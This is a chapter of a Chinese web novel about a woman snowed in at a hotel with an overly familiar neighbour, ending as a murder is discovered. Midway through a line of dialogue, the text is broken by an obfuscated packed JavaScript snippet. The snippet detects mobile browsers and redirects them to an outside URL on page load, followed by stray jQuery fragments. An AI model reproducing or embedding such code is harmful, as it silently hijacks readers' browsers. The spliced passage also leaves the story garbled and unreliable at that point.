星野凛按下自己的楼层后,聚精会神地观察电梯按键,直到她的楼层都到了,电梯按键都没有再亮。
她走出电梯,呼出一口气,刚才肯定是她眼花了,联想到最近都没好好休息,她更加确定是自己太累了,眼睛太疲劳,才误以为有鬼。
这个酒店很大,一个楼层至少有二十五到三十个房间,密密麻麻地挨在一起,也不知道隔音效果好不好。
房间看着多,其实住的人没多少,毕竟大多数人都承担不起高昂的住宿费,哪怕是最便宜的房间她也花了将近20万円。
得感谢木村一郎,没有他的紧急委托,她是绝对住不起这个酒店的。
星野凛来到自己的房间,房号是310。她推开门,把灯打开,打量了一下这个房间,不大不小,正好够一个人住,多一个人就会显得逼仄。
她把行李箱打开,把洗漱用品和明天要穿的衣服拿出来。
像这种级别的酒店,一般都会有准备好的牙刷和牙膏,但她觉得不太卫生,在走之前特意把自己洗漱用品装进了行李箱,以备不时之需。
星野凛把洗漱用品放在卫生间,提前往浴缸里放好了水。
又折返回床前拿睡衣,她打了个喷嚏,发现窗户是开着的,于是走到窗户旁想关上。
外面积压着厚厚的云层,一颗星星都没有,阴沉沉的,看样子明天要下雨了。
她伸手关上窗户,把窗帘拉上。
走到卫生间洗澡,洗到一半发现没水了,她正打算给前台打电话,发现手机没电自动关机了,这时,卫生间的灯又灭了。
她摸黑走到开关处,按了好几下,确认是停电后,又慢慢走回浴缸旁拿换下来的衣服。
“……”人倒霉起来真是连喝凉水都塞牙缝啊。
星野凛没办法只能使用异能,把国木田的异能掠夺过来,得到了一个小型手电筒。
她把手电筒打开,世界终于有了一丝光亮。
幸好她身上的泡沫在停水的前一秒冲掉了,这真是不幸中的万幸啊。
停水又停电,还是早点休息吧。
星野凛换上睡衣后没多久就进入梦乡了。
一直在床前观察她的人,也解除了异能,恢复了实体。
深川千礼帮她盖好蹬掉的被子:“真是的,还和以前一样,睡觉喜欢蹬被子。”
结果刚盖好的被子没一会又被星野凛给蹬掉了。
深川千礼:“……”
*
星野凛一觉睡到自然醒,边打哈欠边穿衣服,抬头看了看墙上的老式挂钟,已经上午九点了。
她走到卫生间,拧开水龙头,没有水,按下灯,也没有电。
没法洗漱,只能去楼下找前台,问一下什么时候才会有水有电。
由于房间内没有电,光线比较暗,她只能把窗帘拉开。
看着外面的鹅毛大雪,她愣了半天才回神,怎么回事,现在还不到下雪的时候吧?
这场突如其来的雪实在是太诡异了。
星野凛没在窗前驻足多久,看了一小会就开始检查窗户的严实程度,确定外面的风雪吹不开就下楼了。
因为停电的缘故,她只能走楼梯下去。
等她到一楼的时候,前台的旁边围满了人,貌似都是来询问什么时候恢复水电的。
她走过去听前台的解释。
“请大家放心,我们一定会尽快维修的,保证在今天之内就恢复供电。”
怎么只恢复供电,不恢复供水?
难道只有她住的房间停水了?
星野凛怀揣着疑问,挤到最前面:“我想问一下酒店有没有停水?”
“您好,我们酒店并没有停水呢,请问您的房间停水了吗?”
还真只有她的房间停水了。
星野凛把自己房间的情况向前台说明了,并把房号告诉了前台。
“请您放心,我们马上就会派人去您的房间检修,请您耐心等一下。”
星野凛得到前台的答复后就走到了最后面,这时,一个和她年龄差不多大的女孩扯了扯她的衣角:“你好,我是住在你隔壁的,我叫水泽莲音。”
她和这人见过吗?也太自来熟了吧。
见星野凛露出疑惑的眼神,水泽莲音解释道:“你走出房间的时候,我刚好也走出了房间,我看到你走了楼梯,就没有跟上去。”
“那你是怎么下来的?”
“你不知道吗?电梯是有单独供电的,所以停电并不影响电梯的运作。”
“……”
怎么不等她死了再告诉她!?
星野凛幽怨地看着水泽莲音:“那你刚才看到我走楼梯,为什么没有提醒我?”
故意挑这个时候告诉她,是在故意炫耀吧?
水泽莲音眨了眨眼:“可是,我们刚才还不认识,突然和你说话会不会不太好?”
???说得就跟她刚才突然的搭话有多礼貌一样,这家伙绝对是故意的。
星野凛努力保持微笑:“那你现在和我说话就没有这些担忧了吗?”
该说话的时候不说,不该说话的时候说一大堆。
水泽莲音:“对啊,因为现在人多,我是个社恐,人少的时候不太敢和陌生人搭话,人多的话就会大胆一点。”
“……” 星野凛:“其实我得了一种罕见的病症,医生说只要我一和弱智说话,就会暴毙而亡,所以为了我的生命安全,能请水泽小姐不要和我说话吗?”
水泽莲音:“?……”
酒店的大堂经理从外面风尘仆仆地进来:
“非常抱歉,告诉大家一个坏消息,由于暴雪肆虐,离开酒店的唯一一条路被大雪覆盖,信号塔也被大风吹倒,相关人员正在加急维修,最快也要后天,在此期间请大家耐心留在酒店,感谢大家的理解。”
不是吧,这个展开也太熟悉了,暴雪山庄秒变暴雪酒店?
里面的人出不去,外面的人进不来。
事已至此还是先吃饭吧,她从昨晚到现在一顿饭都没吃,肚子都要饿瘪了。
看到星野凛往用餐的大厅走,水泽莲音立马跟了上去:“好巧,我也饿了,我们一起吃饭吧。”
这家伙脑子没问题吧?刚才都内涵她是弱智了,怎么还跟着啊,难道说她真的是个弱智?
想到这,星野凛看向水泽莲音的视线里多了一丝同情。
水泽莲音不明所以地笑了下:“对了,我还不知道你的名字呢,能把你的名字告诉我吗?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143888|194643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
星野凛。”
“喔,真是个好名字呢。” 水泽莲音用夹子夹起一块三文鱼:“凛酱喜欢吃这个吗?”
“我不喜欢吃三文鱼。”
她觉得三文鱼的口感很奇怪,每次吃都会忍不住吐出来。
“好巧,我也不喜欢吃三文鱼。”
“……那你刚才夹起来干嘛?”
“我只是想问问凛酱吃不吃,难道不能夹吗?”
不吃夹了干嘛,真是没有素质。
星野凛懒得理她,自己随便夹了点食物就找位置坐下了。
谁能想到,她刚坐下,水泽莲音像甩不掉的橡皮糖一样,又粘上来了。
“……” 星野凛把食物放在餐桌上:“你为什么要跟着我?”
水泽莲音往嘴巴里塞了很多寿司,说话含糊不清:“因为&*#&&&……”
“你把食物咽下去再说话。”
水泽莲音艰难地咽下去:“因为我不认识别人啊,社恐一个人吃饭会很尴尬的,凛酱难道不愿意和我一起吃饭吗?”
星野凛:“我就算说不愿意,你会离开吗?”
“当然不会!”
“……那我不愿意又有什么用?”
星野凛努力忽视掉身边的人,专心吃饭。
水泽莲音指着坐在她前方的女人,压低声音道:“你知道千叶株式会社吗?这个女人是社长的女儿,千叶株式会社将来的继承人,千叶清香。”
星野凛抬头看向千叶清香的背影,摇了摇头:“不知道,从来都没听说过,不过你是怎么知道的?”
这家伙是情报贩子吗?特意收集别人的信息方便拿出来卖?
水泽莲音一脸神秘道:“这个嘛,当然是靠我的人脉打听出来的,具体的你还是不知道比较好。”
星野凛咽下最后一口食物,指着左前方的女高中生:“那她是谁?你知道她的信息吗?”
“她叫高桥樱子,目前上高中三年级,双亲都去世了,是个孤儿,靠孤儿院的资助上学。”
先不提这些消息是不是真的,直觉告诉她,水泽莲音绝对不是一个情报贩子那么简单。
还是小心提防比较好。
水泽莲音自顾自地指着右前方的男人说道:“凛酱你要小心点这家伙,这家伙叫井上雄,是在逃的杀人犯,目前用了假名和□□在这家酒店登记。”
“他就住在我隔壁,昨天晚上我看见他拖着一具尸体往自己的房间走。”
星野凛去接了杯热水:“说不定不是死人,是活人呢?”
水泽莲音瞪大了眼睛:“你的意思是他拖的是活人,等拖到房间就变成死人了?”
“但我今天悄悄路过他的房间,没看见里面有血迹啊,而且昨晚还停电了,在看不见的情况下,他是怎么做到把房间清理得和之前一样的呢?”
见水泽莲音真的思考起来了,星野凛有些心虚:“你别纠结这个问题了,刚才是我瞎说的,说不定他拖的就是死人,总之大白天的就别讨论这种问题了吧,一点也不吉利。”
水泽莲音咬了一口苹果:“好吧,既然凛酱觉得不吉利,那我们就不讨论了。”
星野凛刚站起来,就听见一道惊恐的声音:“啊啊啊啊啊啊啊——杀人了!”